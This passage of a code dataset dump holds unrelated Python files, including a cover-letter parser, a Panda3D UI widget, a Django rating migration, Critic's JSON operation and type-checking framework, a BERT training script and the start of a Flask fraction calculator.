open(\"config/paragraphs.txt\")]\n\t\n\t# Read the keywords.txt file, and place the keywords in a list\n\t# keywords = [line.strip('\\n').center(len(line) + 1) for line in open(\"config/keywords.txt\")]\n\t\n\t#postingList = []\n\t#ParagraphList = []\n\t\n\t# Find keywords in posting data, match those with keywords found in paragraphs\n\t#postingList = postingKeywords(postingData, keywords)\n\t\n\t#for line in paragraphs:\n\t#\tfor word in postingList:\n\t#\t\tif word in line:\n\t#\t\t\tprint(\"Yes\")\n\t\n\t#print(postingList)\n\t\n\t# Select paragraphs to use\n\tfor line in paragraphsData:\n\t\tif \"OPENING_PARAGRAPH=\" in line:\n\t\t\tuseless, paragraphs[0] = line.split(\"=\",1)\n\t\t\tparagraphs[0] = paragraphs[0].replace(\"=POSITION\", info[1])\n\t\t\tparagraphs[0] = paragraphs[0].replace(\"=COMPANY\", info[5])\n\t\tif \"CLOSING_PARAGRAPH=\" in line:\n\t\t\tuseless, paragraphs[3] = line.split(\"=\",1)\n\t\t\tparagraphs[3] = paragraphs[3].replace(\"=POSITION\", info[1])\n\t\t\tparagraphs[3] = paragraphs[3].replace(\"=COMPANY\", info[5])\n\t\tif \"PARAGRAPH_1=\" in line:\n\t\t\tuseless, paragraphs[1] = line.split(\"=\",1)\n\t\tif \"PARAGRAPH_2=\" in line:\n\t\t\tuseless, paragraphs[2] = line.split(\"=\",1)\n\t\tif \"PARAGRAPH_\" in line:\n\t\t\tnumParagraphs += 1\n\t\t\n\tprint(\"Number of paragaphs found:\", numParagraphs)\n\treturn paragraphs\n\t\ndef parseInfo(postingData):\n\tinfo = [\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"]\n\t# 00 Position Duration\n\t# 01 Job Title\n\t# 02 Job City\n\t# 03 Job Province / State\n\t# 04 Job Country\n\t# 05 Organization Name\n\t# 06 Department name\n\t# 07 Salutation\n\t# 08 Contact First Name\n\t# 09 Contact Last Name\n\t# 10 Contact Title\n\t# 11 Address Line 1\n\t# 12 Address Line 2\n\t# 13 City\n\t# 14 Province / State\n\t# 15 Postal / Zip Code\n\t# 16 Country\n\n\t# Look through posting data for each required variable\n\tfor line in postingData:\n\t\tif \"Position Duration:\" in line:\n\t\t\twaste, info[0] = line.split(\":\",1)\n\t\tif \"Job Title:\" in line:\n\t\t\twaste, info[1] = line.split(\":\",1)\n\t\tif \"Job City:\" in line:\n\t\t\twaste, info[2] = line.split(\":\",1)\n\t\tif \"Job Province / State:\" in line:\n\t\t\twaste, info[3] = line.split(\":\",1)\n\t\tif \"Job Country:\" in line:\n\t\t\twaste, info[4] = line.split(\":\",1)\n\t\tif \"Organization:\" in line:\n\t\t\twaste, info[5] = line.split(\":\",1)\n\t\tif \"Division / Department:\" in line:\n\t\t\twaste, info[6] = line.split(\":\",1)\n\t\tif \"Salutation:\" in line:\n\t\t\twaste, info[7] = line.split(\":\",1)\n\t\tif \"Job Contact First Name:\" in line:\n\t\t\twaste, info[8] = line.split(\":\",1)\n\t\tif \"Job Contact Last Name:\" in line:\n\t\t\twaste, info[9] = line.split(\":\",1)\n\t\tif \"Contact Title:\" in line:\n\t\t\twaste, info[10] = line.split(\":\",1)\n\t\tif \"Address Line One:\" in line:\n\t\t\twaste, info[11] = line.split(\":\",1)\n\t\tif \"Address Line Two:\" in line:\n\t\t\twaste, info[12] = line.split(\":\",1)\n\t\tif \"City:\" in line and not \"Job City:\" in line:\n\t\t\twaste, info[13] = line.split(\":\",1)\n\t\tif \"Province / State:\" in line and not \"Job Province / State:\" in line:\n\t\t\twaste, info[14] = line.split(\":\",1)\n\t\tif \"Postal Code / Zip Code:\" in line:\n\t\t\twaste, info[15] = line.split(\":\",1)\n\t\tif \"Country:\" in line and not \"Job Country:\" in line:\n\t\t\twaste, info[16] = line.split(\":\",1)\n\t\t# Format information\n\t\tinfo[:] = [line.strip() for line in info]\t\t\n\t\n\treturn info\n\t\ndef genFileNameCL(organization, position):\n\tfileName = \"placeholder\"\n\t\n\tif len(organization) + len(position) < 12:\n\t\tfileName = organization + \"_\" + position + \"coverletter\"\n\t\tfileName = \"\".join(fileName.split())\n\telse:\n\t\tfileName = genFileNameCLShort(organization, position)\n\t\n\tfileName = fileName.replace(\".\",\"\")\n\t\n\treturn fileName\n\ndef genFileNameCLShort(organization, position):\n\tfileName = \"placeholder\"\n\t\n\tif len(organization) > 12:\n\t\torganization = ''.join(char for char in organization if char.isupper())\n\t\tprint(\"Using short form for the file name.\")\n\tpositionInitials = ''.join(char for char in position if char.isupper())\n\tfileName = str(organization) + \"_\" + str(positionInitials) + \"_cover_letter\"\n\tfileName = \"\".join(fileName.split())\n\t\n\treturn fileName\n\ndef genFileNameRE(organization, position):\n\tfileName = \"placeholder\"\n\t\n\tif len(organization) + len(position) < 12:\n\t\tfileName = organization + \"_\" + position + \"coverletter\"\n\t\tfileName = \"\".join(fileName.split())\n\telse:\n\t\tfileName = genFileNameREShort(organization, position)\n\t\n\tfileName = fileName.replace(\".\",\"\")\n\t\n\treturn fileName\n\ndef genFileNameREShort(organization, position):\n\tfileName = \"placeholder\"\n\t\n\tif len(organization) > 12:\n\t\torganization = ''.join(char for char in organization if char.isupper())\n\t\tprint(\"Using short form for the file name.\")\n\t\n\tpositionInitials = ''.join(char for char in position if char.isupper())\n\tfileName = str(organization) + \"_\" + str(positionInitials) + \"_resume\"\n\tfileName = \"\".join(fileName.split())\n\t\n\treturn fileName\n\ndef parseUserInfo():\n\tuserInfo = [\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"]\n\t\n\tuserConfigData = [line.strip('\\n') for line in open(\"config/config.txt\")]\n\t\n\tfor line in userConfigData:\n\t\tif \"USER_FIRST_NAME=\" in line:\n\t\t\twaste, userInfo[0] = line.split(\"=\",1)\n\t\tif \"USER_LAST_NAME=\" in line:\n\t\t\twaste, userInfo[1] = line.split(\"=\",1)\n\t\tif \"USER_ADDRESS_ONE=\" in line:\n\t\t\twaste, userInfo[2] = line.split(\"=\",1)\n\t\tif \"USER_ADDRESS_TWO=\" in line:\n\t\t\twaste, userInfo[3] = line.split(\"=\",1)\n\t\tif \"USER_EMAIL=\" in line:\n\t\t\twaste, userInfo[4] = line.split(\"=\",1)\n\t\tif \"USER_CELL=\" in line:\n\t\t\twaste, userInfo[5] = line.split(\"=\",1)\n\t\tif \"USER_WEBSITE_ONE=\" in line:\n\t\t\twaste, userInfo[6] = line.split(\"=\",1)\n\t\tif \"USER_WEBSITE_TWO=\" in line:\n\t\t\twaste, userInfo[7] = line.split(\"=\",1)\n\t\t\t\n\treturn userInfo\n","sub_path":"CLR_v2/parse_txt.py","file_name":"parse_txt.py","file_ext":"py","file_size_in_byte":5637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"397864145","text":"from direct.gui.OnscreenImage import OnscreenImage\nfrom direct.gui.OnscreenText import OnscreenText\nfrom panda3d.core import TextNode\nfrom panda3d.core import TransparencyAttrib\n\nfrom src.core.data import Font1\n\nclass ResourceDisplay:\n def __init__(self, root):\n self.root = root.attachNewNode(\"ResourceDisplay\")\n\n self.scienceImg = OnscreenImage(image=\"data/images/science.png\",\n pos=(0, 0, .1),\n scale=0.045,\n parent=self.root)\n self.scienceImg.setTransparency(TransparencyAttrib.MAlpha)\n self.scienceCost = OnscreenText(scale=0.06, pos=(0.06, 0.08), fg=(1, 1, 1, 1), align=TextNode.ALeft,\n parent=self.root, font=Font1)\n\n self.creditsImg = OnscreenImage(image=\"data/images/currency.png\",\n pos=(0, 0, 0),\n scale=0.045,\n parent=self.root)\n self.creditsImg.setTransparency(TransparencyAttrib.MAlpha)\n self.creditsCost = OnscreenText(scale=0.06, pos=(0.06, -.02), fg=(1, 1, 1, 1), align=TextNode.ALeft,\n parent=self.root, font=Font1)\n\n self.fuelImg = OnscreenImage(image=\"data/images/fuel.png\",\n pos=(0, 0, -.1),\n scale=0.045,\n parent=self.root)\n self.fuelImg.setTransparency(TransparencyAttrib.MAlpha)\n self.fuelCost = OnscreenText(scale=0.06, pos=(0.06, -.12), fg=(1, 1, 1, 1), align=TextNode.ALeft,\n parent=self.root, font=Font1)\n\n def update(self, resources):\n self.scienceCost.setText(str(resources[\"science\"]))\n self.creditsCost.setText(str(resources[\"credits\"]))\n self.fuelCost.setText(str(resources[\"fuel\"]))\n\n def setPos(self, x, y, z):\n self.root.setPos(x, y, z)","sub_path":"src/game/build/components/resource_display.py","file_name":"resource_display.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"283657943","text":"# 10진수를 16진수로\ndict={10:'a', 11:'b', 12:'c', 13:'d', 14:'e', 15:'f'}\ndecimal=int(input(\"변환할 십진수를 입력하세요: \"))\nresult = ''\nwhile (decimal > 0):\n remainder = decimal % 16\n if remainder>9:\n remainder=dict[remainder]\n decimal = decimal // 16\n result = str(remainder) + result\nprint(result)\n","sub_path":"04. Conditional & Repetitive Statement/decimalToHexadecimal.py","file_name":"decimalToHexadecimal.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"247877142","text":"from textHandler.nominalPhrasesIdentifier.NominalPhrasesIdentifier import NominalPhrasesIdentifier\nfrom textHandler.nominalPhrasesWithTreeTagger.NominalPhrasesIdentifierWithTreeTagger import \\\n NominalPhrasesIdentifierWithTreeTagger\nfrom textHandler.textTokenizer.TextTokenizer import WordSeparator\nfrom textHandler.wordFrequencyCalculator.WordFrequencynator import WordFrequencynator\nfrom jsonHandler.JsonHandler import JsonHandler\n\n\nclass TextHandler(object):\n configuration = {}\n stop_words = {}\n useTreeTagger = True\n\n def __init__(self, configuration: dict):\n self.configuration = configuration\n self.stop_words = {}\n\n def remove_stop_words(self, list_of_tokens: list) -> list:\n if len(self.stop_words) == 0:\n with open(self.configuration['stop_words']) as stopWordsFile:\n self.stop_words = stopWordsFile.read().splitlines()\n filtered_list = []\n for token in list_of_tokens:\n if token.lower() not in self.stop_words:\n filtered_list.append(token)\n return filtered_list\n\n def handle_text(self):\n word_separator = WordSeparator(frozenset(self.configuration['word_separators']),\n frozenset(self.configuration['punctuation_characters']))\n\n list_of_all_tokens = []\n list_of_all_tokens_without_stopwords = []\n keys = ['title', 'description', 'teaser']\n for entry in self.configuration['raw_data']:\n for key in keys:\n if key in entry:\n list_of_tokens = word_separator.separate_words(entry[key])\n list_of_all_tokens.append(list_of_tokens)\n list_of_tokens_without_stop_words = self.remove_stop_words(list_of_tokens)\n list_of_all_tokens_without_stopwords.append(list_of_tokens_without_stop_words)\n\n entries = JsonHandler.get_data_json_from_file(self.configuration['source_text'])\n frequencynator = WordFrequencynator(self.configuration, self.stop_words, keys)\n frequencynator.load_lemmatization_data()\n processedData = []\n\n if self.useTreeTagger:\n nominal_phrases_identifier = NominalPhrasesIdentifierWithTreeTagger(self.configuration['raw_data'])\n else:\n nominal_phrases_identifier = NominalPhrasesIdentifier(list_of_all_tokens)\n\n for key, values in enumerate(entries):\n # packe Ortsangaben in nen schickes location Objektchen\n values['location'] = {\"street\": values['street'], \"district\": values['district']}\n del values['district']\n del values['street']\n\n # ergaenze worthaeufigkeit\n values['words'] = frequencynator.get_word_frequency_from_entry(values)\n\n # ergaenze NPs\n if self.useTreeTagger:\n values['phrases'] = nominal_phrases_identifier.get_phrases_count_from_data(values)\n else:\n values['phrases'] = nominal_phrases_identifier.get_phrases_count_from_data(values, 3)\n\n # print(values['phrases'])\n processedData.append(values)\n\n # tue es weg ins Nirvana\n JsonHandler.create_json_file(self.configuration['path_to_output'] + 'fire.json', processedData)\n","sub_path":"dataEnrichment/textHandler/TextHandler.py","file_name":"TextHandler.py","file_ext":"py","file_size_in_byte":3280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"4543861","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport numpy as np\nfrom django.db import models, migrations\nfrom movie_stats.models import Rater, Movie, Review, Avgmovrate\n\ndef getavgrate(x, y):\n # all_rates = Review.objects.all()\n #movrate = [(item.movieId.movieId,Review.objects.filter(movieId = item.movieId)) for item in all_rates]\n \"\"\"for item in all_rates:\n item.movieId.movieId\n mov_list = []\n for movie in Review.objects.filter(movieId = item.movieId):\n mov_list.append(movie.rating)\n avg_mov = np.mean(mov_list)\n avg_save = Avgmovrate.objects.create(movieId=Movie.objects.get(movieId=item.movieId.movieId), avg_mov=avg_mov)\n print(avg_save)\n avg_save.save()\"\"\"\n all_movies = Movie.objects.all()\n for item in all_movies:\n movrate = []\n print(\"Movie\", item)\n for review in Review.objects.filter(movieId = item):\n movrate.append(review.rating)\n #print(item)\n avg_rate = np.mean(movrate)\n if not movrate:\n avg_rate = 0\n print(avg_rate)\n avg_save = Avgmovrate.objects.create(movieId=Movie.objects.get(movieId = item.movieId), avg_mov=avg_rate)\n avg_save.save()\n\n\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('movie_stats', '0017_avgmovrate'),\n ]\n\n operations = [\n migrations.RunPython(getavgrate),\n ]\n","sub_path":"movieratings/movie_stats/migrations/0018_auto_20150701_1828.py","file_name":"0018_auto_20150701_1828.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"98404975","text":"# -*- mode: python; encoding: utf-8 -*-\n#\n# Copyright 2012 Jens Lindström, Opera Software ASA\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License. You may obtain a copy of\n# the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n\nimport sys\nimport traceback\n\nimport base\nimport mailutils\nimport dbutils\nimport htmlutils\nimport configuration\n\nfrom textutils import json_encode, json_decode\n\nclass OperationResult:\n \"\"\"\\\n Simple container for successful operation result.\n\n The constructor builds a dictionary from all keyword arguments,\n and adds {\"status\": \"ok\"} unless a different \"status\" is specified\n as a keyword argument.\n\n Converting an OperationResult object to string converts this\n dictionary to a JSON object literal.\n \"\"\"\n\n def __init__(self, **kwargs):\n self.__value = kwargs\n if \"status\" not in self.__value:\n self.__value[\"status\"] = \"ok\"\n self.__cookies = {}\n def __str__(self):\n return json_encode(self.__value)\n def set(self, key, value):\n self.__value[key] = value\n def setCookie(self, name, value=None, secure=False):\n self.__cookies[name] = (value, secure)\n return self\n def addResponseHeaders(self, req):\n for name, (value, secure) in self.__cookies.items():\n if value:\n if secure and configuration.base.ACCESS_SCHEME != \"http\":\n modifier = \"Secure\"\n else:\n modifier = \"HttpOnly\"\n cookie = \"%s=%s; Max-Age=31536000; %s\" % (name, value, modifier)\n else:\n cookie = \"%s=invalid; Expires=Thursday 01-Jan-1970 00:00:00 GMT\" % name\n req.addResponseHeader(\"Set-Cookie\", cookie)\n\nclass OperationError(Exception):\n \"\"\"\\\n Exception class for unexpected operation errors.\n\n Converting an OperationError object to string produces a JSON\n object literal with the properties status=\"error\" and\n error=.\n \"\"\"\n\n def __init__(self, message):\n self.__message = message\n def __str__(self):\n return json_encode({ \"status\": \"error\", \"error\": self.__message })\n\nclass OperationFailure(Exception):\n \"\"\"\\\n Exception class for operation failures caused by invalid input.\n\n Converting an OperationError object to string produces a JSON\n object literal with the properties status=\"failure\", title=\n and message=<message>.\n \"\"\"\n\n def __init__(self, code, title, message, is_html=False):\n self.__code = code\n self.__title = htmlutils.htmlify(title)\n self.__message = message if is_html else htmlutils.htmlify(message)\n def __str__(self):\n return json_encode({ \"status\": \"failure\",\n \"code\": self.__code,\n \"title\": self.__title,\n \"message\": self.__message })\n\nclass OperationFailureMustLogin(OperationFailure):\n def __init__(self):\n super(OperationFailureMustLogin, self).__init__(\n \"mustlogin\",\n \"Login Required\",\n \"You have to sign in to perform this operation.\")\n\nclass TypeChecker:\n \"\"\"\\\n Interface for checking operation input type correctness.\n\n Sub-classes implement the method __call__(value, context) which raises an\n OperationError if the input is incorrect.\n\n A type checker structure is created using the static make() function.\n\n \"\"\"\n @staticmethod\n def make(source):\n \"\"\"\\\n Construct a structure of TypeChecker objects.\n\n The source argument should be a dict object, single-element list object,\n a set object containing strings, or str, int or bool (the actual type\n objects, not a string, integer or boolean value).\n\n If the source argument is a dict object, per-element type checkers are\n constructed by calling this function on the value of each item in the\n dictionary. See DictionaryChecker for details.\n\n If the source argument is a list object, a per-element type checker is\n constructed by calling this function on the value of the single element\n in the list.\n\n If the source argument is a set object, all elements in it should be\n strings, and the constructed checker verifies that the value is a string\n that is a member of the set.\n\n Otherwise the constructed checker verifies that the value is of the type\n of the source argument (or, in the case of source=str, that the value's\n type is either str or unicode).\n\n \"\"\"\n if type(source) is dict: return DictionaryChecker(source)\n elif type(source) is list: return ArrayChecker(source)\n elif type(source) is set:\n if len(filter(lambda x: type(x) is str, source)) == len(source):\n return EnumerationChecker(source)\n return VariantChecker(source)\n elif source is str: return StringChecker()\n elif source is int: return IntegerChecker()\n elif source is bool: return BooleanChecker()\n else: raise base.ImplementationError(\"invalid source type\")\n\nclass Optional:\n \"\"\"\\\n Utility class for signaling that a dictionary member is optional.\n\n \"\"\"\n def __init__(self, source):\n self.source = source\n\nclass DictionaryChecker:\n \"\"\"\\\n Type checker for dictionary objects.\n\n Checks two sets of members: required and optional. Raises an OperationError\n if the checked value is not a dictionary or if any required member is not\n present in it, or if it contains any unexpected members. Applies\n per-element checkers on all required members and on all present optional\n members.\n\n \"\"\"\n def __init__(self, source):\n self.__required = []\n self.__optional = []\n self.__expected = set()\n\n for name, source_type in source.items():\n if isinstance(source_type, Optional):\n self.__optional.append((name, TypeChecker.make(source_type.source)))\n else:\n self.__required.append((name, TypeChecker.make(source_type)))\n self.__expected.add(name)\n\n def __call__(self, value, context=None):\n if not type(value) is dict:\n raise OperationError(\"invalid input: %s is not a dictionary\" % (context if context else \"value\"))\n for name, checker in self.__required:\n child_context = \"%s.%s\" % (context, name) if context else name\n if name not in value:\n raise OperationError(\"invalid input: %s missing\" % child_context)\n else:\n checker(value[name], child_context)\n for name, checker in self.__optional:\n if name in value:\n child_context = \"%s.%s\" % (context, name) if context else name\n checker(value[name], child_context)\n for name in value:\n if name not in self.__expected:\n child_context = \"%s.%s\" % (context, name) if context else name\n raise OperationError(\"invalid input: %s is unexpected\" % child_context)\n\nclass ArrayChecker:\n \"\"\"\\\n Type checker for arrays.\n\n Raises an OperationError if the checked value is not an array. Applies the\n per-element checker on each element in the array.\n\n \"\"\"\n def __init__(self, source):\n if len(source) != 1:\n raise base.ImplementationError(\"invalid source type\")\n self.__checker = TypeChecker.make(source[0])\n\n def __call__(self, value, context):\n if not type(value) is list:\n raise OperationError(\"%s is not a list\" % context)\n for index, item in enumerate(value):\n self.__checker(item, \"%s[%d]\" % (context, index))\n\nclass VariantChecker:\n \"\"\"\\\n Type checker for variants (values of one of a set of types.)\n\n Raises an OperationError if the checked value is not one of the permitted\n types (checked by applying a per-type checker on the value.)\n\n \"\"\"\n def __init__(self, source):\n self.__checkers = [TypeChecker.make(item) for item in source]\n\n def __call__(self, value, context):\n for checker in self.__checkers:\n try:\n checker(value, context)\n return\n except OperationError:\n pass\n raise OperationError(\"%s is of invalid type\" % context)\n\nclass EnumerationChecker:\n \"\"\"\\\n Type checker for enumerations.\n\n Raises an OperationError if the checked value is not a string or if the\n string value is not a member of the enumeration.\n\n \"\"\"\n def __init__(self, source):\n self.__checker = TypeChecker.make(str)\n for item in source:\n if not type(item) is str:\n raise base.ImplementationError(\"invalid source type\")\n self.__enumeration = source\n\n def __call__(self, value, context):\n self.__checker(value, context)\n if value not in self.__enumeration:\n raise OperationError(\"invalid input: %s is not valid\" % context)\n\nclass StringChecker:\n \"\"\"\\\n Type checker for strings.\n\n Raises an OperationError if the checked value is not a string.\n\n \"\"\"\n def __call__(self, value, context):\n if not (type(value) is str or type(value) is unicode):\n raise OperationError(\"invalid input: %s is not a string\" % context)\n\nclass IntegerChecker:\n \"\"\"\\\n Type checker for integers.\n\n Raises an OperationError if the checked value is not an integer.\n\n \"\"\"\n def __call__(self, value, context):\n if not type(value) is int:\n raise OperationError(\"invalid input: %s is not an integer\" % context)\n\nclass BooleanChecker:\n \"\"\"\\\n Type checker for booleans.\n\n Raises an OperationError if the checked value is not a boolean.\n\n \"\"\"\n def __call__(self, value, context):\n if not type(value) is bool:\n raise OperationError(\"invalid input: %s is not a boolean\" % context)\n\nclass Operation(object):\n \"\"\"\\\n Base class for operation implementations.\n\n Sub-classes must call Operation.__init__() to define the structure of\n expected input data.\n\n An operation accepts input in the form of a JSON object literal and returns\n a result in the form of a JSON object literal. The object contains a\n property named \"status\" whose value should be \"ok\" or \"error\". If it is\n \"error\", the object contains a property named \"error\" whose value is an\n error message. If the HTTP request method is POST, the input is the request\n body (this is the usual case) otherwise, if the HTTP request method is GET,\n the input is the value of the \"data\" URI query parameter (this is supported\n to simplify ad-hoc testing).\n\n Operation implementations should inherit this class and implement the\n process() method. This method is called with two positional arguments, 'db'\n and 'user', and one keyword argument per property in the input value. The\n process() method should return an OperationResult object or either return or\n raise an OperationError object. Any other raised exceptions are caught and\n converted to OperationError objects.\n\n \"\"\"\n def __init__(self, parameter_types, accept_anonymous_user=False):\n \"\"\"\\\n Initialize input data type checker.\n\n The parameter_types argument must be a dict object. See TypeChecker and\n sub-classes for details on how it works. A parameter types argument of\n\n { \"name\": str,\n \"points\": [{\"x\": int, \"y\": int }],\n \"what\": Optional(str) }\n\n would for instance represents an input object with two required\n properties named \"name\" and \"points\", and an optional property named\n \"what\". The \"name\" and \"what\" property values should be a strings. The\n \"points\" property value should be an array of objects, each with two\n properties named \"x\" and \"y\", whose values should be integer.\n\n The operation's process() method would be called with the keyword\n arguments \"name\", \"points\" and \"what\".\n\n \"\"\"\n if not type(parameter_types) is dict:\n raise base.ImplementationError(\"invalid source type\")\n self.__checker = TypeChecker.make(parameter_types)\n self.__accept_anonymous_user = accept_anonymous_user\n\n def __call__(self, req, db, user):\n if user.isAnonymous() and not self.__accept_anonymous_user:\n return OperationFailureMustLogin()\n\n if req.method == \"POST\": data = req.read()\n else: data = req.getParameter(\"data\")\n\n if not data: raise OperationError(\"no input\")\n\n try: value = json_decode(data)\n except ValueError as error: raise OperationError(\"invalid input: %s\" % str(error))\n\n try:\n self.__checker(value)\n return self.process(db, user, **value)\n except OperationError as error:\n return error\n except OperationFailure as failure:\n return failure\n except dbutils.NoSuchUser as error:\n return OperationFailure(code=\"nosuchuser\",\n title=\"Who is '%s'?\" % error.name,\n message=\"There is no user in Critic's database named that.\")\n except dbutils.NoSuchReview as error:\n return OperationFailure(code=\"nosuchreview\",\n title=\"Invalid review ID\",\n message=\"The review ID r/%d is not valid.\" % error.id)\n except dbutils.TransactionRollbackError:\n return OperationFailure(code=\"transactionrollback\",\n title=\"Transaction rolled back\",\n message=\"Your database transaction rolled back, probably due to a deadlock. Please try again.\")\n except:\n error_message = (\"User: %s\\nReferrer: %s\\nData: %s\\n\\n%s\"\n % (user.name,\n req.getReferrer(),\n json_encode(self.sanitize(value), indent=2),\n traceback.format_exc()))\n\n db.rollback()\n\n if not user.hasRole(db, \"developer\"):\n mailutils.sendExceptionMessage(db, \"wsgi[%s]\" % req.path, error_message)\n\n if configuration.debug.IS_DEVELOPMENT or user.hasRole(db, \"developer\"):\n return OperationError(error_message)\n else:\n return OperationError(\"An unexpected error occurred. \" +\n \"A message has been sent to the system administrator(s) \" +\n \"with details about the problem.\")\n\n def process(self, db, user, **kwargs):\n raise OperationError(\"not implemented!?!\")\n\n def sanitize(self, value):\n \"\"\"Sanitize arguments value for use in error messages or logs.\"\"\"\n return value\n\n @staticmethod\n def requireRole(db, role, user):\n if not user.hasRole(db, role):\n raise OperationFailure(\n code=\"notallowed\",\n title=\"Not allowed!\",\n message=\"Operation not permitted.\")\n","sub_path":"src/operation/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"513376531","text":"a= abs\nprint(a(-10))\nn1 = 255\nn2 = 100\nprint(\"{}+ {}\".format(hex(n1),hex(n2)))\n\n# 可变参数\ndef calc(*numbers):\n sum = 0\n for n in numbers:\n sum += n*n\n return sum\n\nnums = [1,2,3]\nprint(calc(*nums))\n\n# 关键字参数,可无限个输入参数\ndef calc1(**kw):\n return (kw)\ntemp = {\"hello\":\"kaspar\",\"bye\":2018}\nprint(calc1(**temp))\n\n# 命名关键字参数, 只接受 city和job作为关键字参数\ndef person(name, age, *, city, job):\n print(name ,age, city, job)\n\n# 递归函数\ndef fact(n):\n if n == 1:\n return 1\n return n * fact(n-1)\n\nprint(fact(5))","sub_path":"2function.py","file_name":"2function.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"266420371","text":"import pandas as pd\nimport numpy as np\nimport torch\nimport matplotlib\nimport faulthandler\nfaulthandler.enable()\nimport pickle\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport json\nfrom transformers import GPT2Tokenizer, GPT2LMHeadModel, EncoderDecoderModel, BertTokenizer\nfrom pathlib import Path\nimport torch.nn as nn\nimport bot_models as models\nimport bot_utils as butils\nfrom bot_utils import Comment_data_preprocessor, Comment_dataset, Comment_pair_dataset\n\n\ntest = False\nnew_dataset = True\ntokenizer = BertTokenizer.from_pretrained('bert-base-uncased')\nget_type = 'sample1_first'\n\nprint(\"Loading data\")\nif new_dataset:\n raw_data_path = '../data/pairs_v3.pkl'\n sample1_field = 'fb_post'\n sample2_field = 'tweet'\n json_ = False\n if json_:\n with open(raw_data_path, 'rb') as file:\n raw_data = json.load(file)\n else:\n with open(raw_data_path, 'rb') as file:\n raw_data = pickle.load(file)\n\n if test:\n raw_data = raw_data[0:5]\n\n dataset = Comment_pair_dataset(raw_data, sample1_field, sample2_field, tokenizer)\n dataset.set_get_type(get_type)\n dataset.max_len = 512 #tokenizer.max_len\n\nelse:\n data_path = '' #needs to be readable by pandas\n data_sample_column = 'token_ids'\n tokenized_df = pd.read_csv(data_path)\n dataset = Comment_pair_dataset(tokenized_df, sample1_field, sample2_field, tokenizer, already_tokenized = True)\n dataset.max_len = tokenizer.max_len\n\nresults_dir = '../results'\nmodel_storage_dir = '../saved_models'\n\n\nparameter_dict = {}\nparameter_dict['epochs'] =10\nparameter_dict['num_worker'] = 2\nparameter_dict['batch_size'] = 2\nparameter_dict['learning_rate'] =1e-8\nparameter_dict['weight_decay'] = 0\nparameter_dict['eps'] =1e-8\nparameter_dict['warmup_steps'] =0\nparameter_dict['filename'] = 'pair_v3_encode_decode_100620'\n\nresults_path = Path(Path(results_dir)/Path(parameter_dict['filename']))\nmodel_path = Path(Path(model_storage_dir)/Path(parameter_dict['filename']))\nresults_path.mkdir(parents = True, exist_ok = True)\nmodel_path.mkdir(parents = True, exist_ok = True)\n\nprint(\"Loading Model\")\n\nmodel = EncoderDecoderModel.from_encoder_decoder_pretrained('bert-base-uncased', 'bert-base-uncased')\n\nprint(\"Starting Training\")\ntrained_model, optimizer, scheduler, loss_data = butils.train_hugging_encode_decode_keyword(dataset, parameter_dict['epochs'],\n parameter_dict['num_worker'],\n parameter_dict['batch_size'],\n parameter_dict['learning_rate'],\n parameter_dict['weight_decay'],\n parameter_dict['eps'],\n parameter_dict['warmup_steps'],\n model,\n dataset.collate\n )\nprint(\"Saving results\")\n\ndataset.active_data.to_csv(results_path/'training_data.csv')\n\ntrained_model.save_pretrained(model_storage_dir + '/' + parameter_dict['filename'])\ntokenizer.save_pretrained(model_storage_dir+'/'+parameter_dict['filename'])\ntrained_model.config.save_pretrained(model_storage_dir+'/'+parameter_dict['filename'])\n\n#saving torch stuff - see torch docs for proper loading\ntorch.save(optimizer.state_dict(), Path(model_path)/Path(parameter_dict['filename']+' optimizer'))\ntorch.save(scheduler.state_dict(), Path(model_path)/Path(parameter_dict['filename']+' scheduler'))\n\n#saving parameter dict\nwith open(results_path/'parameters.json', 'w') as jsonFile:\n json.dump(parameter_dict, jsonFile)\n\nnp.savetxt(results_path/'loss_data', loss_data, delimiter = ',')\n\n#plotting\nplt.clf()\nplt.scatter(range(parameter_dict['epochs']), loss_data)\nplt.savefig(results_dir + '/' + parameter_dict['filename'] +'/'+'loss_plot.png')\n","sub_path":"cleverrx_bot/scripts/pair_training_launcher.py","file_name":"pair_training_launcher.py","file_ext":"py","file_size_in_byte":4353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"407118366","text":"from flask import Flask, request\nfrom fractions import Fraction\n\napp = Flask(__name__)\n\n\ndef take_inputs():\n if request.method == 'POST':\n value1 = request.values.get('A', default=0, type=str)\n else:\n value1 = request.args.get('A', default=0, type=str)\n try:\n value1 = Fraction(value1)\n except ZeroDivisionError:\n return \"A's denominator shouldn't be zero! \\n\"\n except ValueError:\n return \"A's value should be a number (includes fraction, float, integer). \\n\"\n if request.method == 'GET':\n value2 = request.args.get('B', default=0, type=str)\n else:\n value2 = request.values.get('B', default=0, type=str)\n try:\n value2 = Fraction(value2)\n except ZeroDivisionError:\n return \"B's denominator shouldn't be zero! \\n\"\n except ValueError:\n return \"B's value should be a number (includes fraction, float, integer). \\n\"\n return value1, value2 \n\n\n@app.route('/', methods=['POST', 'GET'])\ndef 